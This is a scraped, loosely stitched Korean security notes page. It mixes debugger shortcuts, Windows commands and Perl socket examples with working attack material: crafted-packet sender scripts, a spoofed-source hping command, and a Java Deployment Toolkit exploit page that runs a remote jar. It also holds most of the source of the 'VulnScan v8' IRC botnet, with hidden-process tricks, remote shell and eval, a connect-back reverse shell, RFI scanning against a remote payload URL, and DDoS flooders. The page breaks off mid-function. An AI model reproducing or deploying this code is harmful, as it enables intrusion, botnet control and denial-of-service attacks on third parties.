applicationlayer

This is the first version of Metasploit to have strong support for bruteforcing network protocols and gaining access with cracked credentials. A new mixin has been created that standardizes the options available to each of the brute force modules. This release includes support for brute forcing accounts over SSH, Telnet, MySQL, Postgres, SMB, DB2, and more, thanks to Tod Beardsley and contributions from Thomas Ring.

http://www.metasploit.com/framework/download/

net use \\11.11.11.11 /user:administrator

tsdiscon 1 /server:11.11.11.11 /v
1 또는 2

그러면 세션이 끊김니다.

야호

strcpy strcat gets fscanf scanf sprintf sscanf vfscanf vsprintf vscanf vsscanf streadd strecpy strtrns

User-Agent: Mozilla/5.0 (Linux; U; Android 2.1-update1; ko-kr; XT720 Build/STSKT_N_79.11.36R) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17

파일 특성을 화면에 표시하거나 바꿉니다.

ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[드라이브:] [경로] 파일이름]
       [/S [/D]]

  +   특성을 설정합니다.
  -   특성을 지웁니다.
  R   읽기 전용 파일 특성을 설정합니다.
  A   보관 파일 특성을 설정합니다.
  S   시스템 파일 특성을 설정합니다.
  H   숨김 파일 특성을 설정합니다.
  [드라이브:][경로][파일이름]
      ATTRIB 명령을 수행할 파일을 지정합니다.
  /S  현재 폴더와 모든 서브 폴더에 있는 파일을 처리합니다.
  /D  폴더를 함께 처리합니다.

모듈(Module)
함수들의 집합, 특정 일을 처리한다는 객체 개념으로 해설할 수도 있다. 윈도우 내에서는 구체적인 예로 DLL이나 EXE 파일이 있다.

HMODULE GetModuleHandle(LPCTSTR lpModuleName);

lpModuleName에 DLL이나 EXE 파일 이름을 넘겨주면 모듈에 대한 핸들(HMODULE)을 리턴한다고 되어 있지만 실제 리턴 값은 베이스 주소 값을 넘겨준다, 결국 GetModuleHandle은 DLL과 EXE의 베이스 주소를 리턴하는 함수이다.

HINSTANCE LoadLibrary(LPCTSTR lpLibFileName);

테스트 #include <Windows.h> #include <stdio.h> void main() {     HMODULE hMod;     hMod = GetModuleHandle(NULL);     printf("%p",hMod); }

같 은점 :
LoadLibrary도 GetModuleHandle과 같은 기능(모듈에 대한 핸들을 리턴한다)을 한다.
(HMODULE과 HINSTANCE의 차이점 참고)

차 이점 :
LoadLibrary의 경우 레퍼런스 카운트를 올리지만 GetModuleHandle의 경우 레퍼런스 카운트를 올리지 않는다. 
따라서 경우에 따라 원하는 모듈이 자신의 메모리에 올라와 있지 않으면 NULL을 반환할 수 있다.
단순히 값만 참조할 때면 GetModuleHandle을, 실제 지속적으로 사용하기 위해서는 LoadLibrary를 사용할 것이다.

Pop-up menus display only items that apply. Frequently used menu functions:  

Function	Window	Menu command	Shortcut
Edit memory as binary, ASCII or UNICODE string	Disassembler, Stack Dump	Binary|Edit	Ctrl+E
Undo changes	Disassembler, Dump Registers	Undo selection Undo	Alt+BkSp
Run application	Main	Debug|Run	F9
Run to selection	Disassembler	Breakpoint|Run to selection	F4
Execute till return	Main	Debug|Execute till return	Ctrl+F9
Execute till user code	Main	Debug|Execute till user code	Alt+F9
Set/reset INT3 breakpoint	Disassembler Names, Source	Breakpoint|Toggle Toggle breakpoint	F2
Set/edit conditional INT3 breakpoint	Disassembler Names, Source	Breakpoint|Conditional Conditional breakpoint	Shift+F2
Set/edit conditional logging breakpoint (logs into the Log window)	Disassembler Names, Source	Breakpoint|Conditional log Conditional log breakpoint	Shift+F4
Temporarily disable/restore INT3 breakpoint	Breakpoints	Disable Enable	Space
Set memory breakpoint (only one is allowed)	Disassembler, Dump	Breakpoint|Memory, on access Breakpoint|Memory, on write
Remove memory breakpoint	Disassembler, Dump	Breakpoint|Remove memory breakpoint
Set hardware breakpoint (ME/NT/2000 only)	Disassembler, Dump	Breakpoint|Hardware (select type and size!)
Remove hardware breakpoint	Main	Debug|Hardware breakpoints
Set single-short break on access to memory block (NT/2000 only)	Memory	Set break-on-access	F2
Set break on module, thread, debug string	Options	Events
Set new origin	Disassembler	New origin here
Display list of all symbolic names	Disassembler, Dump Modules	Search for|Name (label) View names	Ctrl+N
Context-sensitive help (requires external help file!)	Disassembler, Names	Help on symbolic name	Ctrl+F1
Find all references in code to selected address range	Disassembler Dump	Find references to|Command Find references	Ctrl+R
Find all references in code to the constant	Disassembler	Find references to|Constant Search for|All constants
Search whole allocated memory	Memory	Search Search next	Ctrl+L
Go to address or value of expression	Disassembler Dump	Go to|Expression Go to expression	Ctrl+G
Go to previous address/run trace item	Disassembler	Go to|Previous	Minus
Go to next address/run trace item	Disassembler	Go to|Next	Plus
Go to previous procedure	Disassembler	Go to|Previous procedure	Ctrl+Minus
Go to next procedure	Disassembler	Go to|Next procedure	Ctrl+Plus
View executable file	Disassembler, Dump, Modules	View|Executable file
Copy changes to executable file	Disassembler	Copy to executable file
Analyse executable code	Disassembler	Analysis|Analyse code	Ctrl+A
Scan object files and libraries	Disassembler	Scan object files	Ctrl+O
View resources	Modules, Memory	View all resources View resource strings
Suspend/resume thread	Threads	Suspend Resume
Display relative addresses	Disassembler, Dump, Stack	Doubleclick address
Copy	Most of windows	Copy to clipboard	Ctrl+C

Frequently used global shortcuts:  

Ctrl+F2	Restart program
Alt+F2	Close program
F3	Open new program
F5	Maximize/restore active window
Alt+F5	Make OllyDbg topmost
F7	Step into (entering functions)
Ctrl+F7	Animate into (entering functions)
F8	Step over (executing function calls at once)
Ctrl+F8	Animate over (executing function calls at once)
F9	Run
Shift+F9	Pass exception to standard handler and run
Ctrl+F9	Execute till return
Alt+F9	Execute till user code
Ctrl+F11	Trace into
F12	Pause
Ctrl+F12	Trace over
Alt+B	Open Breakpoints window
Alt+C	Open CPU window
Alt+E	Open Modules window
Alt+L	Open Log window
Alt+M	Open Memory window
Alt+O	Open Options dialog
Ctrl+T	Set condition to pause Run trace
Alt+X	Close OllyDbg

Frequently used Disasembler shortcuts:  

F2	Toggle breakpoint
Shift+F2	Set conditional breakpoint
F4	Run to selection
Alt+F7	Go to previous reference
Alt+F8	Go to next reference
Ctrl+A	Analyse code
Ctrl+B	Start binary search
Ctrl+C	Copy selection to clipboard
Ctrl+E	Edit selection in binary format
Ctrl+F	Search for a command
Ctrl+G	Follow expression
Ctrl+J	Show list of jumps to selected line
Ctrl+K	View call tree
Ctrl+L	Repeat last search
Ctrl+N	Open list of labels (names)
Ctrl+O	Scan object files
Ctrl+R	Find references to selected command
Ctrl+S	Search for a sequence of commands
Asterisk (*)	Origin
Enter	Follow jump or call
Plus (+)	Go to next location/next run trace item
Minus (-)	Go to previous location/previous run trace item
Space (  )	Assemble
Colon (:)	Add label
Semicolon (;)	Add comment

아이폰의 파일시스템을 볼수있는 툴

야호

http://www.tutorialspoint.com/perl/perl_socket.htm
##########server##########

#!/usr/bin/perl -w

# server.pl

#--------------------


use strict;

use Socket;


# use port 7890 as default

my $port = shift || 7890;

my $proto = getprotobyname('tcp');


# create a socket, make it reusable

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) 

   or die "Can't open socket $!\n";

setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1) 

   or die "Can't set socket option to SO_REUSEADDR $!\n";


# bind to a port, then listen

bind( SOCKET, pack( 'Sn4x8', AF_INET, $port, "\0\0\0\0" ))

       or die "Can't bind to port $port! \n";

listen(SOCKET, 5) or die "listen: $!";

print "SERVER started on port $port\n";


# accepting a connection

my $client_addr;

while ($client_addr = accept(NET_SOCKET, SOCKET)) {

	# send them a message, close connection

	print NEW_SOCKET "Smile from the server";

	close NEW_SOCKET;




}

##########client##########

#!/usr/bin/perl -w

# client.pl

#----------------


use strict;

use Socket;


# initialize host and port

my $host = shift || 'localhost';

my $port = shift || 7890;

my $server = "10.12.12.168";


# create the socket, connect to the port

socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2])

   or die "Can't create a socket $!\n";

connect( SOCKET, pack( 'Sn4x8', AF_INET, $port, $server ))

       or die "Can't connect to port $port! \n";


my $line;

while ($line = <SOCKET>) {

	print "$line\n";

}

close SOCKET or die "close: $!";

$ARGC=@ARGV;
if ($ARGC !=2) {
        print "Usage: $0 <host> <port>\n";
        print "Example: $0 192.168.1.153 80\n";
        exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = $ARGV[1];

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('UDP') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "Error: $!";
#connect(SOCK, $paddr) or die "Error: $!";
connect(SOCK, $paddr);

$sploit="60198E081622F7BCC5489B";


print $sploit;
send(SOCK, $sploit,0 ) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit;

$ARGC=@ARGV;
if ($ARGC !=2) {
        print "Usage: $0 <host> <port>\n";
        print "Example: $0 192.168.1.210 445\n";
        exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = $ARGV[1];

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
#connect(SOCK, $paddr) or die "Error: $!";
connect(SOCK, $paddr);

$sploit="\x30\x30\x30";

print $sploit;
send(SOCK, $sploit,0 ) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit;

poc를 컴파일하는데 에러가 발생했다

#gcc poc.c -o poc
/tmp/ccKjCDpt.o(.text+0x214): In function `zflush':
: undefined reference to `deflate'
/tmp/ccKjCDpt.o(.text+0x3c7): In function `zgetch':
: undefined reference to `inflate'
/tmp/ccKjCDpt.o(.text+0x4e3): In function `do_compression':
: undefined reference to `deflateInit_'
/tmp/ccKjCDpt.o(.text+0x4fa): In function `do_compression':
: undefined reference to `inflateInit_'
collect2: ld returned 1 exit status

compress관련 라이브러리인 libzip을 링크시켜야 된단다.

아래와 같은 옵션을 사용하여 컴파일이 가능하다.

#gcc poc.c -o poc -lz

출처: http://kaiserinlee.thoth.kr/?mid=blog&document_srl=1335548

- session_start(); 전에 출력문이 있으면 안된다.

- 그래도 안된다면 세션변수가 저장되는 폴더 권한을 777로 주었는지 확인해보자.

- 그래도 안된다면 UTF-8(BOM없음) 형식으로 저장해보자.

- 그래도 안된다면 모든 파일을 이 형식으로 저장하자.

- 그래도 안된다면 php.ini 에서 default-charset utf-8 로 설정해보라.

  난 이것도 안해줘서 경고문이 떴었다 -_ㅠ

- 설정은 모두 통일하자 !

ㅔ개ㅓㄷㅊㅅ

system("pg.exe");
print "\nSelect AdapterIndex:";
$interface = <STDIN>;
for($i=1321;$i<=1539;$i++)
{
  if($i<10)
  {$fileName = '000'.$i;}
  elsif($i<100)
  {$fileName = '00'.$i;}
  elsif($i<1000)
  {$fileName = '0'.$i;}
  else
  {
    $fileName = $i;
    }
  if(-e $fileName.".pl")
  {
    $fileName=$fileName.".pl";
    $filetype="pl";
  }
  elsif(-e $fileName.".cap")
  {
    $filetype="cap";
    $fileName=$fileName.".cap";
  }
  else
  {
    die "\n $fileName is not exist.\n";
  }
  if($filetype eq "pl")
  {
    system("perl $fileName");
    print "\n$fileName OK\n";
  }
  elsif($filetype eq "cap")
  {
    system("pg.exe $interface $fileName");
    print "\n$fileName OK\n";
  }
  $filetype="-";
#  $enter = <STDIN>; 
}
print "bye~\n";

hping --ack --push -a 속이는ip -c 반복카운트횟수 -p 포트 DestIP

야호

이야호

재미있는 RFI가 있어서 담아온다

RFI BotNet에 대해 자세하게 정리된 문서는 없는것같다

exec 에서 사용한 쉘 명령어의 동작이 끝날때까지 php 는 동작하지 않는다.

즉, exec 상태에서 멈춰 있다가 쉘 명령어의 동작이 끝난 후, php가 동작한다.

ㅇㅇ

<html>
<head><title>Java Deployment Toolkit Test Page</title></head>
<body>
    <script>
        // Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010

        var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";

        if (window.navigator.appName == "Microsoft Internet Explorer") {
            var o = document.createElement("OBJECT");

            o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

            // Trigger the bug
            o.launch(u);
        } else {
            // Mozilla
            var o = document.createElement("OBJECT");
            var n = document.createElement("OBJECT");

            o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
            n.type = "application/java-deployment-toolkit";
            document.body.appendChild(o);
            document.body.appendChild(n);

            // Test both MIME types
            try {
                // Old type
                o.launch(u);
            } catch (e) {
                // New type
                n.launch(u);
            }
        }

        // Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to
        // this classic exploit?
        // http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1

        // o.installJRE("1.4.2_18");
    </script>
</body>
</html>

#!/usr/bin/perl
# VulnScan v8 -Final- By Morgan
# Colors by delet
#
# Note:
# DO NOT REMOVE COPYRIGHTS ...
#
# |_|0|_|
# |_|_|0|
# |0|0|0|
#
# New functions :
#                New l33t colors
#                Fixed Google
#
# Scan command :
# !morgan !eval @gstring='google%20dork';
# !morgan @rfiscan vulnfile.php?vulnvar=
#
# DDoS commands :
# Udp : !morgan @udpflood IP packet-size time
# Tcp : !morgan @tcpflood IP port time
# Http: !morgan @httpflood www.website.com time
#
# Greets to :
#
# All irc.root.net.ve - #Morgan users...
#
#
# Enjoy the bot ....
# /Morgan

use HTTP::Request;
use LWP::UserAgent;

################ V8 CONFIGURATION #############################################################
my $processo = 'ps aux';                   # Fake process name for the bot                #
if (`ps uxw` =~ /ps aux/)                    # (CHANGE IT!!!)                               #
{                                              #                                              #
exit;                                          #                                              #
}                                              #                                              #
###############################################################################################
my $linas_max='8';                             # Avoid Flood                                  #
###############################################################################################
my $sleep='5';                                 # sleep time                                   #
##################### IRC #####################################################################
my @adms=("evil");                           # Administrator Nickname                       #
###############################################################################################
my @canais=("#dark");                        # Channel ..if  password -> ("#channel :pass") #
###############################################################################################
my $nick='evil';                             # Nick prefix of the bot example :             #
                                               # vs[v7] = vs[v7]-718727                       #
###############################################################################################
my $ircname = 'evil';                            # Identd of the bot                            #
###############################################################################################
chop (my $realname = `uname -a`);                 # Full Name                                    #
###############################################################################################
$servidor='dos.mygenc.org' unless $servidor;  # Server IRC of the bot                        #
###############################################################################################
my $porta='8889';                              # Server PORT                                  #
################ CMD ##########################################################################
my @cmdgif='http://rzgr.by.ru/cmd.gif';  # If you change this cmd must be same as:      #
                                                     # http://myspace.si/images/sad.gif       #
###############################################################################################

my $VERSAO = 'v8';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);


our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}
# MORGAN OWNED YOUR BOX
#
# morgan.rx@gmail.com
sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!morgan)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
}
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}

# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","59","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018","8889");
             my (@aberta, %porta_banner);
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2PortScan15) 15(2IP7:12 ".$1." 15) 15(2Status7: 12Searching for Open Ports15)");
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2PortScan15) 15(2Concluido15) 15(2Open Ports7:12 @aberta 15)");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :15(7@2PortScan15) 15(2Concluido15) 15(2No open ports found15)");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP Flood15) 15(2Started15) (2IP7:12 ".$1." 2Porta7:12 ".$2." 2Tempo7:12 ".$3." 2segundos15)");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($3>$cur_time){
             $cur_time = time - $itime;
     &tcpflooder("$1","$2","$3");
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP Flood15) 15(2Finished15) (2IP7:12 ".$1." 2Porta7:12 ".$2." 15)");
           }
   if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Versao15) 12Vulnscan 2v87 ");
}

if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);

if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ConnectBack15) 15(2Connecting15) (2IP7/2Port7:12 $host:$porta 15)");
}
}
#SCANNER
           if ($funcarg =~ /^rfiscan\s+(\d+)\s+(.*)/) {
         $boturl=$2;
   sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Scan15) (2Started15) (2Searching for7:12 ".$boturl." 2Time7:12 ".$1." 2seconds15)");
     srand;
     my $itime = time;
     my ($cur_time);
     my ($exploited);
         $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
    $cur_time = time - $itime;
    @urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
 #sendraw($IRC_cur_socket, "PRIVMSG #debug :15(7@2Scan15) 15(2Exploiting7:12 ".$url2." 15)");
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 ="http://".$path."/".$boturl."@cmdgif?";
print "\n".$url2."\n\n";


# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com

my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);

if ($response->is_success) {
 if( $response->content =~ /By/ && $response->content =~ /chaos/ ){
 sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Vulnerable15) 15(2Vuln7:12 ".$url2." 15)");
}
}
else {
}
 }
}
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Scan15) 15(2Finished15) (2Scan Finished7:12 ".$1." 2seconds15)");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP Flood15) (2Started15) (2Victim7:12 ".$1."7:1280 2Time7:12 ".$2." 2seconds15)");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($2>$cur_time){
             $cur_time = time - $itime;
     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
     close($socket);
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP Flood15) (2Finished15) 15(2Victim7:12 ".$1."15)");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP Flood15) 15(2Started15) (2Victim7:12 ".$1." 2Size7:12 ".$2." 7KB 2Time7:12 ".$3." 2seconds15)");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP Flood15) 15(2Finished15) 15(2Sent7:12 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 7KB 2in12 ".$dtime." 2seconds15) (2Victim7:12 ".$1."15)");
           }
           exit;
       }
  }
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "15(7@2INFO15) (2No souch file/directory15)");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
 }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
